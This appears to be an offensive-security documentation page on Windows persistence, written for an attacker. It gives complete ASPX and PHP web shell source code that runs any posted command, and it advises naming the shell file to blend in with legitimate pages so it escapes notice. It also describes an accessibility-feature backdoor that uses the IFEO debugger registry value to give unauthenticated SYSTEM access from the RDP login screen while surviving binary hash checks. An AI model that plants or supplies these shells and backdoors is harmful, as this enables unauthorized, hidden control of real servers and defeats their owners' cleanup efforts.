Windows Web Shell Persistence
Web shell persistence gives you re-entry through the web application layer rather than the OS. A single file dropped into the web root survives reboots, user password changes, and most host-based persistence cleanup operations. It runs in the context of the web server process — typically IIS application pool identity or NETWORK SERVICE — so escalation is usually needed for full system access.
ASPX web shells
ASPX shells are the standard for IIS targets. They execute in the .NET runtime and support command execution, file upload, and interactive operation.
<%@@ Page Language="C#" %>
<%@@ Import Namespace="System.Diagnostics" %>
<%@@ Import Namespace="System.IO" %>
<%
string cmd = Request.Form["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
Process p = Process.Start(psi);
string output = p.StandardOutput.ReadToEnd();
p.WaitForExit();
Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");
}
%>
<form method="POST">
<input type="text" name="cmd" size="80" />
<input type="submit" value="Run" />
</form>
Name the file something that blends with the application — admin.aspx, error.aspx, or a name matching existing files in the directory. Avoid obvious names like shell.aspx or cmd.aspx.
PHP web shells
Use PHP shells when the target runs Apache, nginx, or IIS with PHP enabled — common on older Windows servers hosting PHP applications.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = $_REQUEST['cmd'];
$output = shell_exec($cmd);
echo "<pre>" . htmlspecialchars($output) . "</pre>";
}
?>
Accessibility feature backdoors
Windows accessibility features run before login from the lock screen. Replacing or wrapping them with a command prompt gives you unauthenticated SYSTEM access from the RDP login screen. This technique requires SYSTEM to modify the binary or its registry entry.
The registry Image File Execution Options (IFEO) debugger method is preferable to replacing the binary because it does not modify system files on disk. The Debugger value causes Windows to launch your specified binary instead of the target binary, which means the backdoor survives binary hash checks.
Cleaning up
Was this helpful?
Your feedback helps improve this page.